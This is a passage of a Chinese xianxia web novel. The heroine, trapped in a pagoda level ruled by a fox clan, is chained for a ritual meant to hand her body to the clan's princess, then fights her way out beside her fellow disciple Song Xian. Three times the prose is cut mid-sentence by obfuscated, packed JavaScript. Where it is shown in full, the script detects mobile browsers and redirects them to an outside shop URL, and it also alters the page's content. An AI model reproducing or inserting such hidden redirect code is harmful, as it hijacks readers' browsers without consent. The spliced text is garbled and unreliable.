十二三岁的年纪,都做异族打扮,衣裙上都缀满了亮片,手中都捧着个瓷壶,样子生得也相像,唯一的区别是,一个裙子是覃紫色的,另一个是浅一些的风信紫。 她们瞧见叶岑,都很开心,手里还捧着瓷壶,就向她跑来,到她跟前,才把瓷壶放下,将她从头到脚看一遭,眼眶顿时红了一圈:“公主,你可算回来了!” 叶岑:“?” 白涟漪可是明明白白的白家大小姐,哪里来的公主身份? 这不会又是幻境吧? 如果是的话—— 浮屠塔的关卡,能不能来点新花样啊! 况且这次,她可没有犯迷糊呢! 那两个小姑娘一个亲热地来挽她的手:“七尾长老说,公主一定会回来拯救我们大家的。我与阿嫣天天都来这里等,果然等到了公主!七尾长老说得不错,公主回来救我们了!” 一个捏捏她的脸,眉头皱起来:“公主怎么顶着这么个皮相回来?比原先要难看多了。” 叶岑:…… 抛开人身攻击不说,有没有一种可能,就是我根本不是你们的公主呢? 叶岑想了想,插嘴道:“我……” 穿风信紫衣衫那个小姑娘打断她:“即便公主变得这样难看,阿虞也认得出公主,因为七尾长老说,只有公主能回到这里!” 覃紫小姑娘点头赞同:“是的!所以能回到这里的,一定是公主!” 她们俩眼神一对视:“走,快带公主去见七尾长老。” 两个人就重新捧起瓷壶,一手托着瓷壶,一手挽着她,欢天喜地带她去见那个所谓的“七尾长老”了。 叶岑:“。” 这幻境处处透露着奇怪,叶岑觉得,她还是先不要暴露自己的真实身份好一点。 叶岑很快见到了七尾。 那一瞬间,她忽然明白了那两姐妹为什么嫌自己丑。 因为七尾确实生得好看,眉若峰脊,眼若寒潭,鼻梁高挺,偏偏生着一张薄唇,唇瓣之间抿成一条线,使他其它的五官瞧着都柔和了下来,英气得没什么棱角。虽然他是个男子,却反而让他显得有些美艳。 ——天底下哪里能有这么年轻的长老! 叶岑原先以为,所谓长老,都是两鬓染苍、老气横秋的。 她猜想这幻境里的人是崇尚狐狸的,并且喜欢紫色。 因为她随两姐妹一路走来,除了她醒来时的广场是亮堂的,其余建筑采光很差,要不就是基本不开一扇窗,要不就是根本没有窗,即便是露天的地方,也有幢幢的高大树影,将天光遮得干干净净。 而所有建筑的装饰,一离不开狐狸,二离不开紫色,便是照明用的灯罩,都用紫色的线条勾勒着狐狸的图案。 狐狸图案让灯光一照,落在墙上、地上,成的像就是一个狰狞的大狐狸脑袋。 七尾穿的却是一身黑色与孔雀绿,偏偏额饰、耳饰、项圈与腰带都是暗金色的,还缀着几根孔雀尾羽作为装饰,给他通身的气质平添了几分魅惑。 叶岑忍不住想,七尾比戚滟更懂得穿搭。 他孔雀绿的布帛在上身缠得看似随意,胸肌、腹肌却若隐若现得恰到好处。尤其是下半身的宽大黑色裤子,也几乎被撕成了条状,可到了脚踝处却又被收束在一起,随着他走动的步伐,只能隐约见着双腿的轮廓,却更引人遐想无限了。 这样一个美艳无比又妖娆妩媚的大美男走到叶岑的跟前,下一刻执起她的手,和紫衣两姐妹一样,还未开口眼睛先红了一圈,通身闪耀着慈母的光辉,哽咽道:“瘦了。” 叶岑:“?” 你搞清楚,如果紫衣两姐妹说的属实的话,她连壳子都换了一个了,岂止是瘦了啊! 言多必失,叶岑沉默不言。 好在七尾很快把自己安慰好了。 他伸手抹去眼角的泪,露出个笑容:“找寻常的容器简单,要找到一个十全的魂器,却是难得很。当初我们阖族上下苦寻了那么久,没想到,竟被你自己给找到了。” 七尾:“当时你想办法递消息进来时,七叔就开始准备了。” 什么容器、魂器,叶岑听得一头雾水。 但是她小心谨慎,没让自己露出不解的神情来,以免被人看出端倪。 七尾却忽然话头一止,凝视着叶岑,眉头缓缓皱起:“你那是什么眼神?” 叶岑心中一窒,难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他就等着叶岑的回答,不开口恐怕混不过去了。 叶岑想了想,选了一种保守的答法:“还好……” 七尾忽而神色一戾,抚在叶岑脸上的手,变成掐她脖子:“你不是阿姝,阿姝从不会喊疼!” 叶岑:“??我也没喊疼啊!” 七尾眼皮一跳:“你是白涟漪!” 一把将她摔到地上,厉声道:“将她拿下!” 紫衣侍女立刻架住叶岑。 七尾居高临下地看着她,冷笑:“我的阿姝从小坚韧,若是我从前这么问她,她一定十分轻蔑地说,这点痛算什么!” 叶岑:“。” 你们一家子都有病! 七尾在她跟前蹲下,又摸摸她的脑袋,慈爱的眼神凝在她的脸上,却又是透过她,在看别的人:“阿姝放心,再有三天就是残月夜,等残月夜一到,白涟漪这身体就是你的了。从此,你的道途将一路平顺,再没什么人能成为你的阻碍。” 22. 第 22 章 浮屠塔外头看着是塔,实际上是个缩地千里的宝贝,还十分具有人文关怀,虽然将妖兽魔修抓了,但是在内里的布置上,还能最大程度地尊重了妖魔们生存习性。 譬如浮屠塔第三层,照着不嗔兽的喜好,是个雪原。 到了第三百二十七层,那让叶岑看瞎了眼的花花绿绿,其实仿的是戚滟曾经呆过的花楼。 而如今这层,虽然采光不好,但是该有的都有,甚至还有牢房。 叶岑就被关进了水牢里。 水牢里暗无天日,不透一丝光。水也是死水,不发出一点声响。 叶岑手上被戴了镣铐,半个身子浸在水里,动弹不得。 若仅仅是难以动弹,还不是最难熬的。 难熬的是,黑暗里除了视觉,各个感官被无限放大,可对时间的感知却变得十分迟钝。 于是,一息时间漫长得如同一个时辰。 起先叶岑还能凝神想点事。 她将七尾与那紫衣两姐妹说的话一遍遍复盘,从里面提取出一些有用的信息,拼凑在一起。 她猜想,此处应当并不是幻境,而是不知多少年前,被裴无衣抓了,关进浮屠塔的狐族—— 妖修。 起先泡在琅嬛楼时,叶岑了解过妖修。 说是大殷这么多修道的族群,从大类型上分,无非是人修、魔修与妖修。 魔修从一开始就被隔在了魔域,而妖修,大多生着半人半兽的样貌,也保留着一些兽的习性,因此,都住在大殷之西的十方大山之中,不轻易到人修的地盘来。 如此低调的妖修,能以族群为单位被裴无衣抓进塔来,想必犯的不是小事。 叶岑猜想,当年狐族也不知犯了什么错,叫青云门二长老抓进了浮屠塔来,但是小公主阿姝却拼死逃了出去。 她逃出去之后,用牺牲一条尾巴的代价夺舍了一个生人,还辛辛苦苦找到了什么魂器,并想方设法与被关在塔里的七尾取得联系,将这些消息传给了他。 两只狐妖里应外合,一起谋划着什么报仇、复兴狐族的大事。 而他们又都知道白涟漪。 所以,这个倒霉催的被夺舍的生人,甚至是魂器,可能就是叶岑这具身子的原主人——白涟漪。 叶岑:“。” 这也太惨了吧。 不但被人灭门,成了一介孤女,连身子都要被人觊觎,拿去做魂器。 等等,不会白家遭人灭门,就是狐族——或者说那个小公主阿姝干的吧?! 灭了白家满门,为白涟漪制造孤女身份,而她则顶着白涟漪的身份上青云门拜师,既而参加门内大比,只要进了浮屠塔,就能想办法来到这一层。 所以七尾才说,他从收到信就开始做准备。那对紫衣的姐妹也说,能回到这里的,一定是公主—— 偏偏在这时候,叶岑被山阿带来了这里,占据了白涟漪的身体,破坏了狐族的计划。 这样说的话,那狐族小公主如今又去了哪里呢?还有那些在她上山的时候追杀的黑衣人。 ——若是小公主要杀她,自己动手岂不是更加方便,何必还要雇人来杀她呢?可若不是小公主雇来的人,又会是谁还想要杀白涟漪呢? 叶岑想得头昏脑胀,但是怎么也想不通。 到后来,便是连想也想不下去了。 她被关了许久,难见天日,又是滴水未进,时间长了,只觉得头重脚轻,保持清醒也难,脑子昏昏沉沉的,时常做些不属于自己记忆的混沌梦。 梦里她好像成了个小狐狸,有个穿鹅黄衣裙的小姑娘抱着她。 她瞧不清那小姑娘的脸,但能听见她的声音。 她时常咯咯笑着,声音很是清越好听。 她捏着叶岑变成的小狐狸的腰身,拿绳子在她的腰上绕一圈,笑道:“小白,你不要乱动,我量准了尺寸,才好替你做小衣裳。” 她当然不愿意被人把着腰摸,于是挣扎起来。 挣扎间爪子按上一团柔软,整只狐狸顿时一僵。 淦,是女孩子的□□,好软。 这样不知过了多久,水牢沉重的石门被人推开,有光漏进来。 光线刺目,叶岑眼睛还睁不开,眼泪先流了下来。 恍惚间只觉得有人将她从水里捞出来,解了她手上的铁镣铐,将她架了出去。 架着她的那两条胳膊柔软得很,是两个女子。 力气却大得很。 叶岑浑身无力,只能被她们架着走。 起先她还不死心,渴望凭借三寸不烂之舌,为自己赢得一个求生的机会。 刚张了张嘴:“我说,两位姐……” 就被其中一个人点了穴位,再发不出半点声响了。 叶岑:“?” 这都是修仙世界了,点人家哑穴是不是有点过分了啊?阿巴阿巴阿巴?! 好在这狐族的建筑采光不好,她被架着动不了,也说不了话,视觉却是很快适应过来了。 她现在暂时想不到可以脱困的方法,只好什么准备都做一点,默然看着路边的显眼标志,把路线先记下来。 越看却越觉得眼熟。 这狐狸灯罩、石头巷、参天树林,这不就是她刚来到这一层时,被带去见七尾走的路吗? 只是顺序都反了过来罢了。 那么,她们要把她带去的地方是—— 天光大亮,叶岑下意识地眯了眯眼,却也以看见了那些事物。 参天的狐狸浮雕柱子、横斜交错的水渠、还有正中央那圆形的台子,那不正是她刚醒来时的广场吗! 光线乍然变亮,叶岑的眼睛受不得强光刺激,又开始流眼泪了。 她们将她带到广场边的台子上。 台子上又搭了个高台,上头立了个丰字形的架子,架子上垂着几根粗铁链,铁链末端还是镣铐,显然是绑人用的。 而台子的另一边,则立了个瓷白的狐雕。 叶岑被固定在架子上,手脚展开,成大字型。 架子极高,视野极好。 泪眼朦胧中,她瞧见广场上,不知从哪里冒出来许多人,一个个都是十七八岁的年轻人,男女皆有,穿着深浅不一的紫色衣衫,手中都捧着个瓷壶,站在已经放满水的渠边。 叶岑忍不住倒抽一口气—— 他爹的,这辈子就没见过那么多美人。 不论男女,都是大美人。 就是皇帝的后宫里头吧,都不可能同时拥有这么多美人。 然而美人们都神情肃穆地单手执着瓷壶,也不知从哪里抽出小匕首,整齐地往自己葱白的手臂上划了一道。 叶岑:“?” 血线瞬间蔓延在他们手臂上,他们神色变也不变,将血滴了瓷壶里。 然后,他们纷纷抱着瓷壶举过头顶,唱起歌跳起舞来。 叶岑:“??” 这是什么奇怪的仪式? 不一会儿,七尾也来了。 他还是穿一身孔雀绿,但是和先前那件又略有不同,主要表现在……料子更少了。 七尾踏上高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一团透明的意识浮在空中,亲眼见到被束缚在丰字架上的自己,头顶发间,生出两只毛茸茸的狐狸耳朵! 救命! 她要变成狐狸了! 即使没什么实体,叶岑却气得咬牙切齿。 然而她只能眼睁睁见着那对狐狸耳朵生出来,什么也做不了。 正生气跳脚,意识却在这时混沌起来了。 恍惚之间,脑海里又撞进一些不属于她的记忆。 记忆里那人生着一张绝美的脸,头上顶着一对狐狸耳朵,身后是狐狸尾巴,蓬松又雪白,一共八条。 应当就是那个小公主阿姝。 但是不知她正经历什么,额头上汗珠遍布,睡在一方大石块上,整个人都蜷成一团,瞧着痛苦万分。 正当这时,叶岑忽然觉得心口一凉—— 意识虽然脱离了本体,那身体上的感觉却还同她的意识联结着。 也就大抵能感觉到,那种凉意,还带了点锋刃。 似乎是有人将什么利器抵在了她的心口上。 叶岑心下一沉。 兴许是他们唱完了歌,跳完了舞,仪式结束之后,便是拿她献祭了。 虽然她也不明白其中的原理。 为什么献祭了她,小公主就能回来? 但她若是死在这里,那便是第一个死在门内大比的弟子了。 这能算青云门的招生事故吗? 正胡思乱想着,那利器却忽然收了回去。 一个声音在她耳边道:“是你?” 那声音顿了顿,语气里很不确定:“白涟漪?” 喊的不是她的名字,但是叶岑记得这是谁的声音。 她猛然清醒过来,一睁眼还是被挂在丰字架上,眼前却分明是放大了数倍的一张脸。 眉眼她万分熟悉。 是宋显。 23. 第 23 章 一看见宋显,叶岑眼中顿时盈满了眼泪。 她以前听人说过这种心情,这叫他乡遇故知,两眼泪汪汪。 岂止是泪汪汪,她简直想扑上去抱住他,深情地称他一声——亲人。 然而她被人点了哑穴,手也被镣铐铐着,既没法扑上去,也不能叫亲人,只能将情绪都堆在脸上。 宋显的情绪也都堆在了脸上。 他皱眉道:“你怎么会在这里?” 顿了顿,视线凝在了叶岑的头顶上。 叶岑心头一跳。 宋显板着一张脸,严肃地向她伸出手,捏住她的一对毛耳朵,揉了揉,眉头顿时皱得更深了:“狐狸精?” 叶岑:“?” 宋显用的劲并不大,这样轻轻捏她的耳朵,非但不痛,反而有点痒。 然而从他眼底氤氲着的复杂情绪中,叶岑敏锐地捕捉到了其中一种是,嫌恶。 叶岑很想大喊一句“我不是没有”,然而她说不出话来。 让宋显这么一搅和,狐族的仪式早就中断了。 他们很快发现了他,那一张张好看的脸顿时变得狰狞起来,身后纷纷探出数量不一的狐尾,摆出了战斗的姿势。 有的甚至已经处在了战斗状态中,拉起弓弦毫不犹豫地向宋显射去。 宋显轻巧一躲,那箭镞射在了叶岑的肩上。 叶岑:“嘶——” 我不是你们的小公主吗? 你们就这样对你们的公主? 宋显回身瞥了她一眼,一抬手,兜头一个阵法罩下来。 那阵法叶岑认得,是拿几张护身符的改造的,同样是起到护身的作用,但是效果比护身符更好一些。 她是个起名废,就叫它护身阵。 先前在戚滟的幻境里,她为了保险起见,送给宋显一堆符箓时,也夹杂了这么个阵法在里面。 没想到这会儿,还是用在了自己身上。 拿来挡这箭镞,正正好。 叶岑稍稍安下心来。 宋显还在狐疑地看着她:“你怎么……” 叶岑张嘴,无声地诉苦:“阿巴阿巴。” 他顿了顿,眉心一跳,嘴角顿时向下一压:“他们将你毒哑了?” 叶岑:“。” 不愧是魔族的小少主,做人做事,就是这么极端。 不至于毒哑这么狠毒,她还是有救的。 叶岑的手被固定在镣铐上,艰难地伸出一根手指,指指自己的喉咙,又指指自己哑穴所在的地方。 但因为隔得远,指得都不是很准确。 叶岑只能寄希望于宋显能够看得懂。 宋显注意到她手上的动作,恍然:“我明白了。” 叶岑心中十分宽慰。 她想,两人不愧是并肩作战过的,有些默契,已经在不知不觉中形成了。 然后,就见着宋显,看也不看她一眼,冲出护身阵去,同那群狐狸厮杀在了一起。 叶岑:“?????” 你不是明白了吗? 你明白什么了????啊??!! 救命啊!!! 救我啊!!!! 叶岑在心中安慰自己,等宋显打完了,再来救她,也是一样的。 于是她紧张兮兮地看宋显打架。 那些狐族的修为都不算高,与其说是宋显与他们打斗,不如说,是他们单方面被宋显殴打。 但是,叶岑注意到,那些狐妖许多并不是一杀便死,有的都被宋显一匕首刺在心口上倒地不起了,过了片刻,又生龙活虎地爬起来,嘶吼着继续向他攻去。 看了一阵,叶岑觉得,自己好像发现了规律—— 那好像与狐族的尾巴数量有关。 它们每复活一次,身后的尾巴便少了一根,等到尾巴没了,也便彻底死去了。 大部分的狐狸,都有三四条尾巴,因此,要将一只狐狸彻底杀死,得杀他们三四次。 狐族的数量又众多,别说杀光它们,就是要摆脱他们,其实也没那么容易。 宋显脸上却并无半分倦色。 他不但不累,反而像是饿狼被丢进了羊堆里,似乎还兴奋起来了。 叶岑:“……” 不愧是魔族少主。 他甚至还能抽空跃到叶岑跟前与她对话。 也算不上对话,他眼神扫过叶岑头顶的狐狸耳朵,高深莫测道:“你上青云山……” 一支箭射过来,宋显又跳到其他地方去了。 叶岑:“。” 她回味了一下宋显方才的神情,那眼神分明在说:“我已经知晓了你的秘密。” 笑死,她自己都不知道自己有什么秘密。 奇怪的是,那么多狐族尖叫着被宋显杀死,身为长老的七尾却并不惊慌。 他就站在高台上,看也不看宋显一眼,只看着自己的胸口,脸上挂着个几近疯魔的笑容。 这疯子欣赏了一会儿自己胸口上的十字刀口,接着抬起右手,伸向那刀口,然后,探了进去。 他像是在摸索什么东西,丝毫不在意掏的是自己的身体,随着手腕的转动,手都在里头搅和起来了,脸上的笑容却越来越鲜艳。 叶岑只觉得自己的心口也有点发疼,再看不下去了,赶紧将视线移开。 随着广场上死去的狐狸越来越多,很快血流成河。 但因为地上挖了水渠,鲜血都渗到水渠里,汇成一道道血线,血线又流在了一起,最终成了个大图案。 叶岑愣了愣。 先前水渠底下的砖瓦颜色与广场的地砖相似,她只觉得水渠组成的图案眼熟,却一时想不出在哪里见过。 如今这图案成了刺目的血红色,倒一下子让她看出来了。 这水渠大约不是随意挖掘,歪歪斜斜地交错在一起,最终组成的图案,像极了一个阵法。 她不曾见过这个阵法,但隐隐有预感,于她而言,绝对不会是什么好阵法。 叶岑忽然想起七尾曾说过的话—— “等残月夜一到,白涟漪的身体便是你的了。” 而这一刻,镰刀般的一弧弯月,正悬在天幕正中央。 叶岑心头一跳,侧头看去七尾手还伸在自己的伤口里,忽然动作一顿,嘴角几乎要笑咧到耳根,从里头掏出了一颗赤色的珠子。 是他的……妖丹吗? 好像又不是。 若是妖丹的话,应当是金色的。 这珠子是妖冶的赤色,与其说是妖丹,倒更像是鲜血凝成的。 七尾握着赤色的珠子看了看,忽然抬头,对上叶岑的视线。 叶岑:“?” 七尾一掌将珠子打入了叶岑的体内。 护身阵能挡掉箭镞的物理攻击,对这种带灵气的东西却没什么办法。 一瞬间,一股充盈的灵气进了她的体内,在她的四肢百骸乱窜。 叶岑:“!” 什么玩意儿?! 叶岑只觉得脑中轰然一声响—— 那股灵气窜进了她的脑子里。 顿时,那种酥痒又带点刺痛的感觉又冒出来了,还是在她的头顶,狐狸耳朵边。 但那感觉并没有在那停留太久,很快,它爬下她的天灵盖,沿着她的背部,向着她的尾椎骨蔓延而去。 叶岑:“!!!” 她已经知道接下来会发生什么事了。 叶岑下意识惊叫出声,这才发现,大抵是那血珠乱窜一通,已经将她被封住的哑穴冲开了。 宋显正同狐族打得不可开交,他已经找到了打架的法门,不刺人家心脏,转割狐狸尾巴。 正割得起劲,听到叶岑的尖叫声,百忙之中抽空回望了一眼。 正是这一眼,叶岑又听到“噗”的一声,她的身后,也冒出了一道雪白又蓬松的狐尾来。 叶岑:“???” 什么鬼啊! 什么魂器、引灵、残月夜,不会是要那她这具身体给那个不知道去了哪里的狐族小公主引灵吧! 可是给狐族小公主引灵,关她叶岑什么事?为什么她会长出狐狸尾巴和耳朵来啊! 叶岑简直眼泪要掉下来:“师兄救命!!他们想逼我做狐狸!!!” 宋显将手上拽着的狐尾一割,又跳到叶岑跟前来了。 却不急着救她,反而惊讶道:“你竟然可以说话!” 这是重点吗????救命啊啊啊啊啊啊啊!!! 宋显又问:“你不想做狐狸吗?” 这是什么鬼问题! 天底下谁会放着好好的人不做,去做狐狸的! 那边七尾已经又在胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840833|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里掏东西了。 叶岑:“呜呜呜我一点也不想做狐狸!” 她话音落下,又是“噗噗”两声,身后又探出两条狐尾来。 宋显看她的目光变得怪异起来了。 他躲过几个狐狸的攻击,循循善诱:“做狐狸不好吗?做狐狸还能有妖丹!” 七尾掏出一颗新的血珠往叶岑的体内一拍。 叶岑尾椎骨酥酥麻麻的感觉加倍,有什么东西呼之欲出。 她曾在模糊的记忆中见过小公主阿姝,她一共有八条狐尾。七尾说她为了夺舍白涟漪断了一条狐尾,那便只剩七条。 而如今,她身后已经有了三条了! 叶岑:“呜呜呜呜呜我想做人!!!” 宋显沉默片刻,忽而高兴起来:“好吧。” 说着,右手执着的匕首一挥,刺向固定叶岑左手的铁镣铐。 却还未刺到,就被一条巨大的狐尾一扫。 宋显反应极快,右手将匕首一松,左手接住,刺向了叶岑被固定着的另一只手。 铮然一声响,那铁镣铐竟然生出裂纹,就这么碎开了! 宋显用的匕首,就是先前叶岑借给他的那一把。 叶岑保证,那就是一把普通的匕首,她带着防身用的。 但是铁镣铐不是断开,而是碎开了。 可见宋显力大如牛。 叶岑只觉得,自己的手腕都要麻了! 但是好歹右手能动了。 然而,宋显再要刺碎那铁镣铐,却没那么容易了。 因为不知从什么时候起,七尾跃下高台,化作了巨大的狐形,他直立而起,足有二人高,身后七条巨大修长的狐尾竖立着,宛如一只巨大的怪兽。 方才向他们扫来的,便是它化形之后,其中一条狐尾。 宋显瞥了他一眼,眉头重新皱起来,道:“啧,麻烦。” 狐尾一拍,护身阵便碎了。 宋显往叶岑手里塞一张护身符,道:“等我一下。” 然后便不得不先去与化了形的七尾周旋。 七尾狐尾一扫,宋显利落一躲,那长尾巴砸在高台上。 叶岑:“?” 木头搭建的高台顿时碎得七零八落。 叶岑从高空坠落,还没落到地上,七尾另一条狐尾又一扫,宋显还是躲开,那长尾巴末端砸在木架上。 叶岑:“??” 淦啊!她还在架子上!!! 木架也碎得七零八落,叶岑砸落到地上,滚了两滚,吐出两口血来。 然后眼冒金星地一抬头,恰对上两个杀红了眼的狐族。 叶岑:“???” 淦啊! 好在木架已经碎了,叶岑两只脚一条胳膊上还挂着铁镣铐,却不是全然动弹不得。 两只狐族的爪子就要拍下来,叶岑顾不得几乎要碎了的五脏六腑,赶紧手脚并用地爬开。 这时候要画阵法,是完全来不及的。 好在有一只手是自由的。 叶岑手忙脚乱地从芥子囊中掏符箓,看也不看,找到什么就丢什么。 爆裂符、爆裂符、爆裂符——广场上满是噼噼啪啪的声响。 爆裂符、爆裂符、护身符——淦啊!不小心丢错了保护了这只狐狸。 爆裂符、护身符、神行符——一只狐狸顿时百米冲刺起来! 满场乱爬的叶岑:“……” 好想死了算了。 宋显却还很优雅。 他左躲右闪,他足尖一点落到叶岑附近,瞥了一眼她大杀四方的身姿:“挺好的嘛,自己也能挣脱。” 叶岑:……挣脱你妹!没看见我满地乱爬吗! 叶岑一分心,一个狐族抬爪往她背上一拍。 宋显神色一凛:“你快捏碎魂玉先走。” 七尾的长尾扫过来,他也不好分心,闪身跳开了。 叶岑“噗噗”吐出两口血。 她又丢出几张暴雷符。 噼里啪啦乒乒乓乓轰隆隆。 宋显跳到她身边:“为什么还不走?” 叶岑:……她倒是也想走,可是她的魂玉丢了啊! 宋显瞧着她倔强的神色,一匕首刺断她两脚间的铁链,将她扶起来,无奈地叹了一口气:“那好吧,那便与我,并肩作战吧。” 24. 第 24 章 宋显说并肩作战,可化作兽形的七尾是个大麻烦。 他要去对付大麻烦,那些小狐狸精,自然就交给了叶岑。 笑死,一个都打不过。 还好有爆裂符。 然而广场上的狐族实在太多了,光靠爆裂符,根本是不够的。 况且叶岑肩上还扎着一支箭,嘴角还挂着一丝血。 叶岑咬咬牙,心中想,这样下去不行的,得想个办法。 另一边,宋显也不轻松。 他提气凝神,一双眼却紧盯着七尾。 这狐妖化形之后,体型巨大,要命的是,他的狐尾又粗又大,进入战斗状态时,连毛都是硬的,宛若钢针。 狐尾扫来扫去,倒不好近他的身了。 宋显握紧了心中的匕首,一面躲,一面也想,这样下去不行的,得想个办法。 正在这时,身边一道残影扫过。 他不可避免被分去一点注意力,见那道身影身后拖着的三条狐狸尾巴因为速度太快,都被惯性拉成了直线。 而狐狸尾巴的主人正风驰电掣、横冲直撞着,一边跑,一边高喊:“有本事你们就追啊我啊!” 声音轻快,尾音上扬,眉梢眼角,满是洋洋得意。 正是白涟漪。 宋显:“?” 叶岑背上贴着三张神行符,肩头扎着一支箭镞,左躲右闪,蛇皮走位—— 笑死,她是打不过那些狐狸精的。 但是打不过就跑啊! 有了神行符的她,难道还能躲不过那些狐狸精吗! 况且她给自己贴了三张神行符!那就是三倍加速! 三倍! 就算是先前被她误贴了神行符的那只狐狸精,也是追不上她的! 就是身后拖着的三条狐尾,又大又蓬松,阻力大,是个累赘。 想到这里,叶岑心中也有些惴惴。 七尾那个疯子往她身体里打了两颗血珠,头一颗就能让她生出三条尾巴,后一颗打进去,狐尾还没长出来呢,可别在这时候发挥效用了。 刚这么一想,尾椎骨上痒痒的刺痛感忽然放大数倍。 叶岑:“?” 脚下一个趔趄。 那边宋显也因为分心,叫七尾长尾一扫,砸在地上,匕首柄撞在地砖上,铮然一声响。 他就地一滚,稳了稳身形,匕首柄却插进了广场的地砖缝。 这时候也顾不得自己,先去看白涟漪。 她像是忽然被人泄了劲,脚下一软,倒在了地上。 宋显有些急地喊了一声:“白涟漪!” 叶岑下意识地回:“我没事。” 她是趴倒在地上,肩上的箭尾往地上一撞,几乎是要将她洞穿了。 龇牙咧嘴地地抬起头来,与她身前几只狐妖对上视线。 然而他们似乎忌惮她,又或者说,不敢伤害她的这具身体,因此,都不敢上前来,只在手中持着方才放学用的短匕首,与她对峙。 在他们的注视下,她身后的狐尾却软趴趴地摊在地上,衣裙之下,慢慢地,又探出第四条尾巴来。 叶岑都无暇去管肩膀上的伤了。 她心中感到万分的恐慌。 若是七条尾巴全部生出来了,这身子是不是完全就是狐族小公主的了? 那她呢?到时候她会去哪里?她会消失吗? 她是死过一次、又活过一次的人了,若当初在后宫里被贵妃赏赐了一丈红之后,浑浑噩噩彻底死了也就算了,可又活过一次,便舍不得就这样死去了。 叶岑无视肩上的疼痛和尾椎骨的刺痒,凝神入紫府。 紫府却还是大门紧闭,了无生机。 叶岑只好又看向宋显。 宋显啐了一口血,手起匕首落,干脆地砍下一只小狐妖的尾巴—— 他们不敢伤叶岑,便都扑向宋显。 宋显一边杀他们,一边还要躲七尾扫过来的尾巴。 显然也没办法分出身来帮她。 叶岑心下一沉,脑海里忽然冒出一个极端的念头来。 横竖白涟漪早就被人害死了,她与那什么妖族小公主都是占别人身子的人。 如果是这样。 如果结果是这样的话。 那不如。 不如就将这具身体毁了。 这样她要死了,小公主也别想回来。 反正她还有一张绞杀阵,拿来将这身子绞得七零八落,正正好—— 她这样想着,手移向芥子囊,目光却忽的一顿。 在她前方不远处,她瞧见一块晶莹剔透的青玉,玉的一端,系着一根红绳。 正是她先前送给宋显的那一块魂玉。 叶岑眸光一闪。 若是能拿到魂玉出去的话,裴无衣就守在塔外,他是青城山的二长老,兴许会有办法。 至于宋显…… 她顿了顿,犹豫了一阵,给自己找到一个妥当的理由—— 他先前就说了让她先走,即便没了魂玉,应当也是能应付的。 她这样想着,眼中又重新燃起了希望。 另一边,宋显飞快闪身到了七尾的身后,试图从那里寻求突破。 一些小狐族却又纠缠上来了。 他只好挥着匕首,先将他们刺开。 心中却觉得不太对。 他目光落在匕首柄上,顿时明白为什么不太对。 那匕首柄上,原本坠着个魂玉的。 那穿着红绳的魂玉。 宋显目光一沉,一眼瞧见落在广场上那块魂玉。 青色的质地,串着红色的绳子,绳头已经断开了。 大抵是他方才就地一滚时,匕首柄擦在地砖上磨断的。 宋显想也不想,向那魂玉而去。 七尾的长尾却也在这时跟着扫过来。 宋显闪身想躲,却有一个身影快他一步,挡在了他的身后。 宋显只来得及转过身去,一个人影便轻飘飘落下。 宋显将人接到怀里。 小姑娘面色苍白,唇边一丝血线,肩上也洇出刺目的红色。 他有一瞬间的茫然:“你为何……” ——为何要替我挡这一击? 叶岑当然没办法回答他。 她的身体是这样软,好像没有骨头,好像轻轻一碰,就马上要破碎了。 甚至一个字也说不出来了,满嘴里都是血。 此时此刻,叶岑也很想问一句为什么。 为什么宋显这时候也她爹的要来捡魂玉啊! 又为什么,七尾那一尾巴,好巧不巧,正正打在她的身上啊! 她身上,只贴了两张护身符啊! 这怎么抵得住七尾一尾巴扫过来的一击啊! 淦啊! 然而叶岑也什么都没说,她揪了揪宋显的袖子,甚至没来得及讲什么,“噗噗”吐出了两口血,就直接晕了过去。 广场上霎时安静了下来。 七尾居高临下凝视着宋显,半晌后缓缓开口:“魔族?” 见宋显并不否认,他继续道:“我狐族,与魔族素来没有仇怨纠葛,今日你闯入塔中,杀我族类。我——” 他顿了顿,目光扫过一地的狐族尸体。 他们狐族,受天道掣肘,失势多年,也韬光养晦多年,就是为了这一天的到来。 眼下功败垂成,他不愿意再横生枝节。 于是七尾继续道:“我仍能不与你计较。你将你怀中的人给我,你想要什么,我狐族,都能给你。” 宋显没说话。 他以手作刃,划破自己的手心,给叶岑口里喂了点血。 她当然是咽不下去的,但是宋显极有耐心,手握成拳, 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火光冲天。 七尾面色一变:“这火……你竟然是魔君之子!” 宋显却恍若未闻,他站在火光中,笑起来,轻飘飘道:“去死。” 七尾根本避无可避。 他化作原身,身躯庞大,只觉得漫天箭雨兜头落下,要将他千刀万剐。 接着心口一凉,宋显又出现在了他的视线里,竟是从他身后往前,贯穿了他的胸膛。 竟是恨意凝成的剑气—— 可他手中根本无剑! 七尾庞大的身躯缓缓倒下。 宋显走到他跟前,嗤笑一声,将匕首扎进了他的胸膛里,要剖出他的妖丹来。 这才是他进浮屠塔的目的。 白矖也好,七尾也好,或是其他高修的大妖。 他需要一个大妖的妖丹。 然而下一瞬,宋显嘴角的笑容却忽然一凝—— 七尾的胸腔当中空空如也,根本什么都没有。 而他被剖了胸膛,却还有一口气,到了这一刻,骤然明白宋显的意图:“原来你想要我的妖丹。” 七尾道:“你要我的妖丹做什么?洗去你的人族血脉,好让自己变得更强吗?” 